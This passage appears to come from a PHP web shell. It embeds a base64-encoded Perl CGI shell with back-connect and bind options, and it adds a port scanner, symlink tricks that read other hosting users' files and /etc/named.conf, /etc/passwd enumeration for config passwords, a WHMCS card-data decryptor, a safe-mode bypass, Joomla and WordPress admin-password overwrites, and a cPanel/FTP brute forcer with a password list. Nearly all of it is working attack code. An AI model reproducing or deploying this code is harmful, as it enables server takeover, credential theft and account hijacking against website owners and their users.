  1997. LS0tLS0tLQpzdWIgVmlld0xvZwp7CglpZigkV2luTlQpCgl7CgkJcmV0dXJuICI8aDI+PGZvbnQg
  1998. c3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBX
  1999. aW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGgg
  2000. TG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9s
  2001. b2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xv
  2002. ZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRp
  2003. PTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJ
  2004. CWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wg
  2005. PSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJ
  2006. ewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9y
  2007. X2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdj
  2008. b2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJ
  2009. PHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlw
  2010. ZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVl
  2011. PSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJ
  2012. PHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90
  2013. ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxl
  2014. c3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
  2015. ZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGly
  2016. IiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJ
  2017. fQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0t
  2018. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2019. LS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0t
  2020. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2021. LS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24g
  2022. PSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307
  2023. CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFu
  2024. c2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsn
  2025. YSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24g
  2026. c3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUg
  2027. Y29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsK
  2028. IyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5k
  2029. PSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1
  2030. cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9
  2031. ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2lu
  2032. IiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1M
  2033. b2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQ
  2034. YWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJ
  2035. aWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRm
  2036. aWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0g
  2037. YGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7
  2038. CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXBy
  2039. aW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7
  2040. CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikK
  2041. CXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVu
  2042. PiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZ
  2043. b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRp
  2044. bnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQ
  2045. YXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UK
  2046. CQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+
  2047. PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2
  2048. ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERp
  2049. cjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1
  2050. biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21t
  2051. YW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZl
  2052. IGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRp
  2053. bnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJ
  2054. ewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+
  2055. PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJ
  2056. CQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJ
  2057. cHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1
  2058. c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRl
  2059. cigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJy
  2060. dXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VI
  2061. ZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIp
  2062. IAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZp
  2063. bGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmll
  2064. dyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYo
  2065. JEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVz
  2066. ZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1l
  2067. bHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7Cgkm
  2068. UGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==';
  2069.  
  2070. $file = fopen("cgi2012.izo" ,"w+");
  2071. $write = fwrite ($file ,base64_decode($cgi2012));
  2072. fclose($file);
  2073.     chmod("cgi2012.izo",0755);
  2074.    echo " <iframe src=cgi2012/cgi2012.izo width=100% height=600% frameborder=0></iframe>
  2075.  
  2076. </div>";
  2077.         }      
  2078. elseif($action == 'port-sc'){
  2079. $start = strip_tags($_POST['start']);
  2080.     $end = strip_tags($_POST['end']);
  2081.     $host = strip_tags($_POST['host']);
  2082.     if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  2083.     for($i = $start; $i<=$end; $i++){
  2084.     $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  2085.     if($fp){
  2086.     echo 'Port '.$i.' is <font color=green>open</font><br>';
  2087.     }
  2088.     flush();
  2089.     }
  2090.     }else{
  2091.     echo '<table class=tabnet style="width:300px;padding:0 1px;">
  2092.   <input type="hidden" name="y" value="phptools">
  2093.   <tr><th colspan="5">Port Scanner</th></center></tr>
  2094.   <tr>
  2095.                <td>Host</td>
  2096.                <td><input type="text" class="inputz"  style="width:220px;color:#E5E4E2;" name="host" value="localhost"/></td>
  2097.   </tr>
  2098.   <tr>
  2099.                <td>Port start</td>
  2100.                <td><input type="text" class="inputz" style="width:220px;color:#E5E4E2;" name="start" value="0"/></td>
  2101.   </tr>
  2102.        <tr><td>Port end</td>
  2103.                <td><input type="text" class="inputz"  style="width:220px;color:#E5E4E2;" name="end" value="5000"/></td>
  2104.   </tr><td><input class="inputzbut" type="submit" style="color:#E5E4E2" value="Scan Ports" />
  2105.   </td></form></center></table>';
  2106.     }
  2107. }
  2108. elseif ($action == 'symlink'){
  2109.  
  2110. echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
  2111.  
  2112. @mkdir('sym',0777);
  2113. $htaccess  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2114. $write =@fopen ('sym/.htaccess','w');
  2115. fwrite($write ,$htaccess);
  2116. @symlink('/','sym/root');
  2117. $filelocation = basename(__file__);
  2118. $read_named_conf = @file('/etc/named.conf');
  2119. if(!$read_named_conf)
  2120. {
  2121. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  2122. }
  2123. else
  2124. {
  2125. echo "<br><br><div class='tmp'><table border='1' bordercolor='#E5E4E2' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
  2126. foreach($read_named_conf as $subject){
  2127. if(eregi('zone',$subject)){
  2128. preg_match_all('#zone "(.*)"#',$subject,$string);
  2129. if(strlen(trim($string[1][0])) >2){
  2130. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
  2131. $name = $UID['name'] ;
  2132. @symlink('/','sym/root');
  2133. $name   = $string[1][0];
  2134. $iran   = '\.ir';
  2135. $israel = '\.il';
  2136. $indo   = '\.id';
  2137. $sg12   = '\.sg';
  2138. $edu    = '\.edu';
  2139. $gov    = '\.gov';
  2140. $gose   = '\.go';
  2141. $gober  = '\.gob';
  2142. $mil1   = '\.mil';
  2143. $mil2   = '\.mi';
  2144. $malay  = '\.my';
  2145. $china  = '\.cn';
  2146. $japan  = '\.jp';
  2147. $austr  = '\.au';
  2148. $porn   = '\.xxx';
  2149. $as             = '\.uk';
  2150. $calfn  = '\.ca';
  2151.  
  2152. if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
  2153. or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
  2154. or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
  2155. or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
  2156. {
  2157. $name = "<div style=' color: #E5E4E2 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
  2158. }
  2159. <tr>
  2160.  
  2161. <td>
  2162. <div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
  2163. </td>
  2164.  
  2165. <td>
  2166. '.$UID['name']."
  2167. </td>
  2168.  
  2169. <td>
  2170. <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
  2171. </td>
  2172.  
  2173. </tr></div> ";
  2174. }
  2175. }
  2176. }
  2177. }
  2178.  
  2179. echo "</center></table>";  
  2180.  
  2181. }
  2182.  
  2183. elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
  2184. {      }
  2185.  
  2186. //Jumping
  2187. elseif ($action == 'jumping'){
  2188.         ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  2189.         set_time_limit(0);
  2190.         @$passwd = fopen('/etc/passwd','r');
  2191.         if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
  2192.         $pub = array();
  2193.         $users = array();
  2194.         $conf = array();
  2195.         $i = 0;
  2196.         while(!feof($passwd))
  2197.         {
  2198.                 $str = fgets($passwd);
  2199.                 if ($i > 35)
  2200.                         {
  2201.                         $pos = strpos($str,':');
  2202.                         $username = substr($str,0,$pos);
  2203.                         $dirz = '/home/'.$username.'/public_html/';
  2204.                         if (($username != ''))
  2205.                                 {
  2206.                                 if (is_readable($dirz))
  2207.                                         {
  2208.                                         array_push($users,$username);
  2209.                                         array_push($pub,$dirz);
  2210.                                         }
  2211.                                 }
  2212.                         }
  2213.                 $i++;
  2214.         }
  2215.         echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  2216.         echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br />";
  2217.         echo "[~] Searching for passwords in config files...\n\n"."<br /><br /><br />";
  2218.         foreach ($users as $user)
  2219.                 {
  2220.                 $path = "/home/$user/public_html/";
  2221.                 echo "<a href='?y&#61;$path' target='_blank' style='text-shadow:0px 0px 10px #12E12E; font-weight:bold; color:#FF0000;'>$path</a><br><br><br>";
  2222.                 }
  2223.         echo "\n";
  2224.         echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore \n"."<br />";
  2225.         echo "[+] Complete...\n"."<br />";
  2226. }
  2227. //WHMCS Decoder
  2228. elseif($action == 'whmcs'){
  2229. function decrypt ($string,$cc_encryption_hash)
  2230. {
  2231.     $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  2232.     $hash_key = _hash ($key);
  2233.     $hash_length = strlen ($hash_key);
  2234.     $string = base64_decode ($string);
  2235.     $tmp_iv = substr ($string, 0, $hash_length);
  2236.     $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  2237.     $iv = $out = '';
  2238.     $c = 0;
  2239.     while ($c < $hash_length)
  2240.     {
  2241.         $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  2242.         ++$c;
  2243.     }
  2244.     $key = $iv;
  2245.     $c = 0;
  2246.     while ($c < strlen ($string))
  2247.     {
  2248.         if (($c != 0 AND $c % $hash_length == 0))
  2249.         {
  2250.             $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  2251.         }
  2252.         $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  2253.         ++$c;
  2254.     }
  2255.     return $out;
  2256. }
  2257.  
  2258. function _hash ($string)
  2259. {
  2260.     if (function_exists ('sha1'))
  2261.     {
  2262.         $hash = sha1 ($string);
  2263.     }
  2264.     else
  2265.     {
  2266.         $hash = md5 ($string);
  2267.     }
  2268.     $out = '';
  2269.     $c = 0;
  2270.     while ($c < strlen ($hash))
  2271.     {
  2272.         $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  2273.         $c += 2;
  2274.     }
  2275.     return $out;
  2276. }
  2277.  
  2278. <br><center><font size='5' color='#E5E4E2'><b> WHMCS Decoder </b></font></center>
  2279. <center>
  2280. <br>
  2281.  
  2282. <FORM action=''  method='post'>
  2283. <input type='hidden' name='form_action' value='2'>
  2284. <br>
  2285. <table class=tabnet style=width:600;padding:0 1px;>
  2286. <tr><td>db_host </td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
  2287. <tr><td>db_username</td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
  2288. <tr><td>db_password</td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
  2289. <tr><td>db_name</td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
  2290. <tr><td>cc_encryption_hash</td><td><input style='color:#E5E4E2;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
  2291. <td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class='inputzbut' type='submit' style='color:#E5E4E2;background-color:'  value='Submit' name='Submit'></td>
  2292. </table>
  2293. </FORM>
  2294. </center>";
  2295. }
  2296. //bypass
  2297. elseif ($action == 'safemode'){
  2298. file_put_contents("php.ini",$byphp);
  2299. file_put_contents(".htaccess",$byht);
  2300. echo "<script>alert('Disable Functions and Safemode Created');</script>";
  2301. die();              
  2302. }
  2303. //Symlink Config
  2304. elseif ($action =='config'){
  2305. echo "<center/><br/><b><font color=#E5E4E2>+--==[ Config Shell Symlink ]==--+</font></b><br><br>";
  2306.  
  2307.   mkdir('symlink', 0755);
  2308.     chdir('symlink');
  2309.         $kokdosya = ".htaccess";
  2310.         $dosya_adi = "$kokdosya";
  2311.         $dosya = fopen ($dosya_adi , 'w') or die ("Error c==(-_-Q)");
  2312.         $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  2313.              
  2314. AddType application/x-httpd-cgi .cpc
  2315.  
  2316. AddHandler cgi-script .izo
  2317. AddHandler cgi-script .izo";    
  2318.         fwrite ( $dosya , $metin ) ;
  2319.         fclose ($dosya);
  2320.  
  2321. $file = fopen("config.izo" ,"w+");
  2322. $write = fwrite ($file ,base64_decode($configshell));
  2323. fclose($file);
  2324.     chmod("config.izo",0755);
  2325.    echo "<iframe src=symlink/config.izo width=97% height=500% frameborder=50></iframe>
  2326.   </div>";
  2327.         echo "<br/>Open it in /symlink/config.izo";
  2328. }
  2329. //Joomla Password Changer
  2330. elseif ($action =='joomla'){
  2331. if(empty($_POST['pwd'])){
  2332. echo "<FORM method=\"POST\">
  2333. Host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><br/>
  2334. Database : <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"><br>
  2335. Username : <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"><br/>
  2336. Password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><br>
  2337.      <br>
  2338. Set A New username 4 Login : <INPUT name=\"admin\" size=\"40\" value=\"phantoms\"><br>
  2339. Default pass is : phantoms: <INPUT name=\"pwd\" size=\"40\" value=\"da058e0e11fdfb5165cb13d5ac01a2e8\"><br>
  2340.  
  2341. <INPUT value=\"change\" name=\"send\" type=\"submit\">
  2342. </FORM>";
  2343. }
  2344. else{
  2345. $localhost = $_POST['localhost'];
  2346. $database  = $_POST['database'];
  2347. $username  = $_POST['username'];
  2348. $password  = $_POST['password'];
  2349. $pwd       = $_POST['pwd'];
  2350. $admin     = $_POST['admin'];
  2351.  
  2352.  
  2353.          @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2354.          @mysql_select_db($database) or die(mysql_error());
  2355.  
  2356. $hash = crypt($pwd);
  2357.  
  2358. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
  2359. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
  2360. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
  2361. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
  2362. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
  2363. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
  2364. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
  2365. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
  2366.  
  2367.  
  2368. if($SQL){
  2369. echo "<b>root@secure:# ~ Success</b> ";
  2370. }
  2371. }
  2372. }
  2373. //Wordpress
  2374. elseif ($action == 'wp'){
  2375. if(empty($_POST['pwd'])){
  2376. echo "<FORM method=\"POST\">
  2377. Host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><br/>
  2378. Database : <INPUT size=\"15\" value=\"wp-\" name=\"database\" type=\"text\"><br>
  2379. Username : <INPUT size=\"15\" value=\"wp-\" name=\"username\" type=\"text\"><br/>
  2380. Password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><br>
  2381.      <br>
  2382. Set A New Username : <INPUT name=\"admin\" size=\"15\" value=\"phantoms\"><br>
  2383. Set A New Password : <INPUT name=\"pwd\" size=\"15\" value=\"phantoms\"><br>
  2384.  
  2385. <INPUT value=\"change\" name=\"send\" type=\"submit\">
  2386. </FORM>";
  2387. }
  2388. else{
  2389. $localhost = $_POST['localhost'];
  2390. $database  = $_POST['database'];
  2391. $username  = $_POST['username'];
  2392. $password  = $_POST['password'];
  2393. $pwd       = $_POST['pwd'];
  2394. $admin     = $_POST['admin'];
  2395.  
  2396.  
  2397.          @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2398.          @mysql_select_db($database) or die(mysql_error());
  2399.  
  2400. $hash = crypt($pwd);
  2401. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
  2402. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
  2403. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
  2404. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
  2405. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
  2406. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
  2407. $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
  2408.  
  2409.  
  2410. if($a4s){
  2411. echo "<b> Success : You can now Login~</b> ";
  2412. }
  2413. }
  2414. }
  2415. // Brute
  2416. elseif ($action == 'brute') {
  2417. formhead(array('title'=>'Brute Forcer'));
  2418.         makehide('action','brute');
  2419.         makehide('dir',$brute);
  2420. @ini_set('memory_limit', 1000000000000);
  2421. $connect_timeout=5;
  2422. $submit = $_REQUEST['submit'];
  2423. $users = $_REQUEST['users'];
  2424. $pass = $_REQUEST['passwords'];
  2425. $target = $_REQUEST['target'];
  2426. $option = $_REQUEST['option'];
  2427.  
  2428.  
  2429. $passlist = "0123456
  2430. 01234567
  2431. 012345678
  2432. 0123456789
  2433. 01234567890
  2434. 123456
  2435. 1234567
  2436. 12345678
  2437. 123456789
  2438. 1234567890
  2439. 111111
  2440. 000000
  2441. 222222
  2442. 333333
  2443. 444444
  2444. 555555
  2445. 666666
  2446. 777777
  2447. 888888
  2448. 999999
  2449. 123123
  2450. 456456
  2451. 789789
  2452. 123321
  2453. 456654
  2454. 654321
  2455. 7654321
  2456. 87654321
  2457. 987654321
  2458. 0987654321
  2459. admin
  2460. administrator
  2461. admincp
  2462. cpanel
  2463. adminx
  2464. admins
  2465. password
  2466. passwords
  2467. passw0rd
  2468. p@ssw0rd
  2469. p@ssword
  2470. khongco
  2471. 25251325
  2472. passw0rds";
  2473. if($target == ''){
  2474. $target = 'localhost';
  2475. }
  2476. print " <div align='center'>
  2477. <form method='post' style='border: 1px solid #000000'><br><br>
  2478. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
  2479. <b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
  2480. <div align='center'><br>
  2481. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
  2482. <tr>
  2483. <td align='center'>
  2484. <b>Username</b></td>
  2485. <td>
  2486. <p align='center'>
  2487. <b>Password</b></td>
  2488. </tr>
  2489. </table>
  2490. <p align='center'>
  2491. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  2492. $i = 0;
  2493. while ($i < 60000) {
  2494.  
  2495.     $line = posix_getpwuid($i);
  2496.     if (!empty($line)) {
  2497.  
  2498.         while (list ($key, $vba_etcpwd) = each($line)){
  2499.             echo "".$vba_etcpwd."\n";
  2500.             break;
  2501.         }
  2502.  
  2503.     }
  2504.  
  2505.    $i++;
  2506. }
  2507. </textarea>
  2508. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
  2509. <br>
  2510. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  2511. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
  2512. </td></tr></table></td></tr></form><p align= 'left'>";
  2513. ?>
  2514. <?php
  2515. function ftp_check($host,$user,$pass,$timeout){
  2516. $ch = curl_init();
  2517. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  2518. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2519. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC